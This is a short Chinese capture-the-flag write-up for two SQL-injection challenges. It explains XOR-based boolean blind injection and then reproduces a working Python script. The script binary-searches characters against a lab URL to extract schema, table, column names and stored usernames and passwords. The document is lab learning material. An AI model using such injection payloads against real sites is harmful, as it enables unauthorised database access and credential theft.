[WUSTCTF2020]颜值成绩查询 WP
首先看到这个界面,输入1 2 3 4 5 发现1234是正常的
虽然34看不懂,但还是有英文的,后面几个数字报错,但没有报错回显,说明是布尔盲注
先了解一下异或注入http://t.csdn.cn/sYppP(这也是一篇本题的WP)
异或注入,是在 SQL 注入中,利用 Mysql 对异或逻辑的处理特性,帮助进行 SQL 注入的利用,作用包括但不限于绕过敏感词过滤、判断过滤内容和直接进行盲注利用。
在 Mysql 中,异或操作的两个关键词是 “xor” 和’^’,xor 是逻辑上的异或操作,对前后两个逻辑真假进行异或,结果只为 0 或 1
然后是跑个上面博客里的脚本(这里先当一下脚本小子 还没学python 立flag 日后补!)
[极客大挑战 2019]FinalSQL
首先一句话,那就是盲注了!
点开试一下,发现url变了
多了search.php
大佬脚本(http://t.csdn.cn/PsPLg):
import requests
import time
url = "http://21976bf2-9df5-42e4-8c77-ba26f94cb2cf.node4.buuoj.cn:81/search.php"
temp = {"id" : ""}
column = ""
for i in range(1,1000):
time.sleep(0.06)
low = 32
high =128
mid = (low+high)//2
while(low<high):
#库名
#temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid)
#表名
#temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
#字段名
#temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
#内容
temp["id"] = "1^(ascii(substr((select(group_concat(id,username,password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
r = requests.get(url,params=temp)
time.sleep(0.04)
print(low,high,mid,":")
if "Click" in r.text:
low = mid+1
else:
high = mid
mid =(low+high)//2
if(mid ==32 or mid ==127):
break
column +=chr(mid)
print(column)
print("All:" ,column)
再参考一下()
交flag